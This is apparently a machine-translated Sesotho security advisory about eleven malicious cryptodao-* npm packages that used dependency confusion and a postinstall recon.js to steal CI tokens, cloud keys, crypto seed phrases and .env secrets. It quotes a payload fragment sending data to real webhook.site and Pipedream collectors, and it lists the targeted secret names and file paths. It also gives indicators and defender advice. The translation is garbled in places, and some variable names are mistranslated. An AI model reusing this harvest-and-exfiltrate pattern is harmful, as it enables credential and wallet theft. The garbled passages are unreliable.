Pherekano ea CryptoDAO: Liphutheloana tsa npm Kotulo CI/CD le Liphiri tsa Crypto

Pherekano ea CryptoDAO: liphutheloana tse leshome le motso o mong tsa npm, mojaro o le mong oa moputso, kotulo CI/CD le liphiri tsa sepache sa crypto

TL; DR

Ka la 2026-06-17, ho ile ha phatlalatsoa ak'haonte e le 'ngoe ea npm liphutheloana tse leshome le motso o mong tse arolelanang morero o le mong le mojaro o le mongBa leshome ba bona ba jara cryptodao- selelekela (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ea leshome le motso o mong ke scoped @public-for-cdao/coreE 'ngoe le e 'ngoe e hatisitsoe phetolelong 99.99.99 'me e romela byte-e tšoanang recon.js e ntseng e tsoela pele postinstall.

Mabitso ke 'ona a hlalosang. A baleha joalo ka litene tsa ka hare tsa ketane ea lisebelisoa tsa poraefete ea projeke ea crypto/DAO. E phatlalalitsoe ho ngoliso ea sechaba ea npm ka mofuta o phahameng oa maiketsetso, ba lutse ba emetse ho hahuoa pipeline e hlophisitsweng ho rarolla mabitso ao mme e fihlang phatlalatsa npm pele ho - kapa ho ena le - ngoliso ya poraefete. Ena ke pherekano ea ho itšetleha, 'me mojaro o lokisitsoe hantle moo o lebeletseng ho fihla teng: CI/CD limathi.

Neng postinstall mello, recon.js o bokella lintlha tsa moamoheli, o hlakola ka thata diphetoho tsa tikoloho ya leru, CI, le sepache sa crypto tse mashome a mane, e bala efe kapa efe .env e faela difaele tseo e ka di fumanang mme e fetisetse mela e jereng sephiri ho ya ka maemo, ebe e fetisetsa sephutheloana ho babokelli ba babedi — webhook.site le ntlha ya ho qetela ya Pipedream — ka netefatso ya setifikeiti sa TLS e holofaditsweng. Kopi e boetse e ngotswe tlasa /tmp.

Boima: phahamengTikoloho e amehileng: npmLiphutheloana tsohle tse leshome le motso o mong li ne li le teng nakong ea ho ngola.

Sebopeho sa 'mele sa tlhaselo

Mochini ona o na le likarolo tse 'ne tse tsamaeang, 'me ha ho le e 'ngoe ea tsona e poteletseng ha u tseba ho e etsa. sheba lera le le leng ka mora lebitso la sephutheloana.

1. Phetolelo ea ho phahama ha theko e le leraba la ho rarolla mathata. Sephutheloana se seng le se seng se phatlalatsa mofuta 99.99.99Pherekano ea boitšepo e sebetsa ha mookameli oa sephutheloana, a kopa lebitso la kahare, le boetse le hlahloba ngoliso ea sechaba 'me le khetha mofuta o phahameng ka ho fetisisa oo le o sebelisang e fumana. Khetho ea kamehla ea npm bakeng sa sebaka sa caret kapa wildcard ke mofuta o khotsofatsang ka ho fetisisa mohloling o mong le o mong o hlophisitsoeng; haeba ka bobeli e le poraefete karabo ea ngoliso le ea sechaba ea npm bakeng sa lebitso le tšoanang, palo e kholo ea mofuta oa win. A 99.99.99 e feta mofuta ofe kapa ofe oa ka hare oo projeke e tla ba le oona e fihlelletswe, kahoo moahlodi ya sa tlamellwang mohloding wa poraefete o kgetha setjhaba — mme tabeng ena, e le bora — kopi. Mosebelisi ha a hloke ho tseba linomoro tsa mofuta oa 'nete oa sepheo; ho khetha boholo bo sa utloahaleng ho tiisa hore thae e tla lula e le teng e roba tsela ea bona.

2. Sesosa sa kamora ho kenya. sejana.json e kenya mojaro o kenang ho kenya sebikoe sa bophelo:

{   "scripts": { "postinstall": "node recon.js" } }

Ha ho hlokahale hore sephutheloana se tlisoe kantle. Ho se kenya feela - seo CI e se etsang pipeline e sebetsa ka boiketsetso — e sebetsa recon.js.

3. Ho hlwahlwa ha sephiri se seholo. recon.js e bokella letoto la liphetho ka mekhahlelo:

  • Moelelo oa moamoheli: lebitso la moamoheli, sethala le tokollo, meralo, lebitso la mosebelisi, ho sebetsa dibaka.
  • Liphetoho tsa tikoloho: e pheta-pheta lethathamo le tsitsitseng la mabitso le lirekoto tse ka bang mashome a mane efe kapa efe e behiloeng. Lethathamo lea senola — le tsamaisana le li-tokens tsa CI tse tloaelehileng (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) le leru litokomane (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) ka liphiri tsa ngoliso le tsa setshelo (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) le sehlopha se nang le tatso e ikhethang ea crypto:  SENOTLOLO_SA PRIVATE, MNEMONIC, SEED_PHRASE, SENOTLOLO_SA_API_SA_INFURA, SENOTLOLO_SA_API_SA_ALCHEMY, ETH_RPC, BSC_RPCBoleng bo rekotiloeng bo fokotsoa ho ba litlhaku tse 50 tsa pele.
  • .env lifaele: e fuputsa lethathamo la litsela — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, le .tlhahiso/.ntshetsopele mefuta-futa — mme bakeng sa faele efe kapa efe e teng, e e sefa dikahare ho ya mela e tsamaellanang SENOTLOLO|SEPHIRI|TOKEN|PASE|PORAEFE|MNEMONIC mme e sutumelletsa mela eo ka botlalo, e sa kgutsufatswang** ho diphetho.
  • Moelelo oa moamoheli oa kaho: o thathamisa lipehelo tse 20 tsa pele tsa /e haha/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, 'me /tmp/.

Lenane la litsela le lenane la diphetoho di lekantswe ho ya ho di-run tsa GitLab, tse supang mojaro o moholo ka ho toba meralong ya motheo ya CI e ikemetseng ho ena le moqapi laptop. Ho arola lenane la kotulo ka sehlopha ho etsa hore thepa e reriloeng e be bonolo:

Category Mefuta-futa / litsela tse fihletsoeng
CI/CD boitsebiso le ho kenya tšebetsong CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
leru AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Ngoliso le setshelo NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Mabenkele a data DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Chelete ea Crypto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
melaetsa SLACK_TOKEN, DISCORD_TOKEN
Ka har'a diski .env lelapa + /home/gitlab-runner/.env, /root/.env, /app/**/.envlenane la dibuka tsa dibuka tsa /builds/, /var/lib/gitlab-runner/

Sehlopha sa di-crypto ke karolo e khethollang sena ho sephiri sa CI se akaretsang. ho sweep: dipolelwana tsa peo ya sepache le dinotlolo tsa ho saena di hlaha feela tikolohong ya projeke ea blockchain, 'me ba e beha ka ho toba ho cryptodao-/letšoao/likonteraka mabitso a bajari.

4. Ho ntsha metsi habeli ka netefatso ho timilwe. Letoto le bokelletsoeng ke e hlophisitsoe ka tatellano mme e rometsoe libakeng tse peli:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

hana E sa lumelloang: leshano e tima liteko tsa setifikeiti sa TLS bakeng sa tse tsoang mehala. Lintlha tse tšoanang li hatisoa ho stdout (kahoo li boetse li oela ho li-log tsa mesebetsi tsa CI) le e ngoletsoe ho /tmp/.npm_recon_ .jsonLiphoso li metsoa ka khutso, kahoo ho hloleha ho romela ha ho siee lets'oao tlhahisong ea ho kenya ho feta e le 'ngoe [botjha] e kentswe ho mola.

Maikutlo a ka sehloohong faeleng a e hlalosa e le "Pherekano ea ho Itšetleha "Ho khutsufatsoa ha boleng ba tikoloho ho isa ho litlhaku tse 50 ho na le sebopeho sa bopaki ba mohopolo. Se e fetisang ka nqane ho lebone la boteng feela ke .env Ho sebetsana: mela e jereng sephiri e fetisetsoa ka botlalo, 'me libaka tseo ho eang ho tsona ke babokelli ba babeli ba sebetsang, ba laoloang ke bahlaseli ho fapana le sinki e baloang feela otla.

lobaka lo longwe

Mokhoa oa ho phatlalatsa ke tshwao ea push e le 'ngoe e ngotsoeng, eseng ea leshome le motso o mong ho kenya lintho tse ikemetseng.

Nako (UTC, 2026-06-17) Event
03:24:58 cryptodao-bot@99.99.99 e hatisitsoeng
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — mofuta o nang le sekoupo, ~metsotso e 24 hamorao

Liphutheloana tse leshome li ne li tsoa ka fensetereng ea metsotsoana e 29, hoo e ka bang e le 'ngoe metsotsoana e meng le e meng e meraro. Sekoahelo @setjhaba-bakeng sa-cdao/core e latelwa metsotso e ka bang 24 kamora moo - motsotsoana mokhoa oa ho reha lebitso bakeng sa sepheo se tšoanang, haeba projeke e jang e bua ka ketane ea lisebelisoa ea ka hare tlas'a sebopeho ho fapana le mabitso a se nang letho.

Matšoao a ho sekisetsa

Type pontshi
Mohlophisi hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Mohlophisi hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Kenya sekhomaretsi postinstall: node recon.js
Faele e lahliloeng /tmp/.npm_recon_<timestamp>.json
Letshwao la lehong [recon] <pkg>@<ver> installed on <hostname> (ho hlaka ho li-log tsa CI)
Ho beha boitšoaro rejectUnauthorized: false ho HTTPS e tswang nakong ya ho kenya
Tefo recon.js, e tšoana ho pholletsa le liphutheloana tsohle tse leshome le motso o mong (moaho o le mong o arolelanoang)
Version 99.99.99 sephutheloana se seng le se seng
Packages cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (kaofela 99.99.99)
mohoeletsi aduljune / aduljune@proton.me (imeile ha e a netefatsoa, ​​ha ho na polokelo ea mohloli e hokahaneng)

 Boitšoaro le tlhaloso ea litšobotsi tse bonoang

Ntho e 'ngoe le e 'ngoe e mabapi le sehlopha e supa letsohong le le leng. Liphutheloana tsohle tse leshome le motso o mong li phatlalalitsoe ka akhaonto ea npm motho e moholo (aduljune@proton.me, aterese e sa netefatsoang e se nang polokelo ea mohloli e hokahaneng), ka hare ho nako ea metsotso e 25, ka nako e tšoanang 99.99.99 mofuta, ho romella recon.js eo dikahare tsa yona di tshwanang ka byte-for-byte ho pholletsa le sephutheloana (MD5 e tsamaellana le dikopi tsohle tse leshome le motso o mong tse ntshitsweng). Ke mojaro o le mong o lefelloang e hatisitsoe lethathamong la mabitso, eseng ho sebelisoa hape ha khoutu ka boikemelo.

Lethathamo la mabitso le hlalosa sepheo se reriloeng. cryptodao-* 'me cdao hlalosa moralo oa mojule oa poraefete oa projeke ea crypto/DAO, le lethathamo la kotulo ea mojaro o lefshoang liipone tse hakanyang: hammoho le CI e akaretsang le liphiri tsa leru, ka ho khetheha ho fihlella SENOTLOLO_SA PRIVATE, MNEMONIC, SEED_PHRASE, le Ethereum/BSC RPC le linotlolo tsa mofani. .env Litsela tsa ho batla le lenane la li-directory ke GitLab-runner e itseng. Phello e bonahalang ke hore leha e le efe pipeline ba qhekelloa ho kenya tsena mabitso a ne a tla fetisetsa li-tokens tsa CI tsa eona, linotlolo tsa leru, le on-disk .env liphiri — le, bakeng sa projeke ea blockchain, thepa ea eona ea sepache - ho babokelli ba babeli ba mokha oa boraro.

Ha re etse tleleime mabapi le hore na ke mang ea tsamaisang ak'haonte kapa hore na ba rerile ho etsa eng ka eona Lintlha tse ikemetseng: mabitso a shebane le mofuta o itseng oa ketane ea lisebelisoa ea ka hare, mojaro o bala le ho fetisa boleng ba 'nete ba lekunutu, 'me meralo ea motheo e ne e sebetsa.

Tšusumetso, mekhoa, le tataiso ea mosireletsi

Pherekano ea ho itšetleha e ntse e sebetsa hobane e sebelisa boitšoaro ba ho rarolla mathata, eseng bofokodi sephuthelong sefe kapa sefe. Sesebelisi mona ha se na thuso — leshome le motso o mong o batla o se na letho liphutheloana - empa radius ea ho phatloha ke eng kapa eng pipeline ka phoso o khetha npm ea sechaba bakeng sa lebitso la ka hare. Bapalami ba CI ke sebaka se sebe ka ho fetisisa seo se ka etsahalang ho sona: ba tšoara hantle feela matshwao le .env lifaele tsena tse baloang ka mojaro, 'me ba li kenya ho itšetleha ho sa sebelisaneng, kahoo kamora ho kenya e matha ho se motho ea e shebileng.

Sehlopha sena se boetse se lumellana le mokhoa oo re lulang re o bona: meputso ea nako ea ho kenya e hlahisang e le "lipatlisiso" kapa "tlhahlobo" ha ho ntse ho etsoa pokello ea mangolo a 'nete. Leiboleng faeleng ha e fetole seo khoutu e se etsang ho semathi. Likhetho tse peli tsa moralo lia sala ts'ebetso e khutsitse: ts'ebetso e 'ngoe le e 'ngoe ea marang-rang le sistimi ea lifaele e phuthetsoe ka mosebelisi oa mekhelo ea lahlang liphoso, kahoo ho romelloa ho thibetsoeng kapa faele e sieo ha e hlahise tlhahiso ea tlhahlobo, 'me ntho feela e hatisitsoeng ke e le' ngoe e se nang kotsi [botjha] … e kentswe mola o kopanang le moqoqo o tloaelehileng oa ho kenya. Tšebeliso ea webhook.site 'me Pipedream le eona ke boiketlo bo reriloeng — ka bobeli ke mahala, lits'ebeletso tsa ho hapa kopo hang-hang, kahoo mosebedisi ha a hloke li-server tsa tsa bona 'me libaka tseo ba eang ho tsona li shebahala joaloka mabitso a tloaelehileng a SaaS a hostname libukeng tsa ho tsoa.

Moruo ke ona o etsang hore sena se tšoanele tlhokomelo ea mosireletsi leha khoutu ea mofani oa thepa ha e na thuso. Ho ngolisa mabitso a leshome le motso o mong ha ho lefe letho, mojaro ke o le mong faele e kopilitsoe ka makhetlo a leshome le motso o mong, 'me mookameli oa sephutheloana o etsa ts'ebetso eohle. e sa hlophisoa hantle pipeline kae kapa kae moo ho jang e 'ngoe ea mabitso ana ho lefella kaofela ho sebetsa.

Mehato e tiileng bakeng sa basireletsi:

  • Kenya di-scope tsa kahare ho registry ea hau ea poraefete. Lokisa mabitso a kahare a npm
     'me li-scope li rarolla feela khahlanong le ngoliso ea hau (limmapa tsa ngoliso ea .npmrc tse nang le scoped,
    kapa proxy e sa keng ea oela ho npm ea sechaba bakeng sa libaka tsa mabitso tse nang le beng ba tsona). Boloka mabitso a hau a skopu ea sechaba e le hore ho se ke ha e-ba le motho e mong ea ka a ngolisang.
  • Commit lockfiles le ho kenya ka –ignore-scripts ho CI moo ho ka khonehang, kapa hlahloba sehlopha se senyenyane sa lintho tse itšetlehileng ka tsona tse hlokang li-script tsa ho kenya.  recon.js e ke ke ea sebetsa haeba kamora ho kenya ha e phethahatsoe.
  • Tšoara mofuta oa 99.99.99 (kapa o mong o phahameng ka mokhoa o sa utloahaleng) oa lebitso le shebahalang le le ka hare joalo ka folakha e khubelu tlhahlobong ea botšehetsi le tlhokomelo ea ngoliso.
  • Temoso ha ho tsoa ha sesebelisoa nakong ea ho kenya. A kamora ho kenya e bulang HTTPS e tsoang khokahano — haholo-holo ha netefatso ea setifikeiti e koetsoe — ho webhook.site, Pipedream, kapa lits'ebeletso tse tšoanang tsa ho hapa kopo li bohlokoa ho thibeloa moeling oa marang-rang le ho tšoaea li-log tsa kaho.
  • Tsoma lintho tsa khale. Hlahloba limathi bakeng sa /tmp/.npm_recon_*.json le bakeng sa [recon] ... e kentswe ho ... letshwao ho di-log tsa moraorao tsa CI. Haeba e fumanwe, potoloha e nngwe le e nngwe bopaki bo pepesehetseng seo pipeline — Li-tokens tsa CI, linotlolo tsa leru, li-tokens tsa ngoliso, le peo efe kapa efe ea sepache kapa linotlolo tsa poraefete tse teng tikolohong kapa lifaeleng tsa .env.

References

Ha ho na tlaleho ea kantle mabapi le sehlopha sena e neng e le teng nakong ea ho ngola; tlhahlobo ka holimo e thehiloe ka ho toba ho dikahare tsa sephutheloana se phatlaladitsweng

lisebelisoa tsa tlhahlobo ea sebopeho sa software ea lisebelisoa tsa sca
Beha pele, lokisa, le ho sireletsa likotsi tsa software ea hau
Fumana Ak'haonte ea Hao ea Mahala.
Ha ho na karete ea mokitlane e hlokahalang.

Sireletsa Ntlafatso le Phano ea Software ea Hao

ka Xygeni Product Suite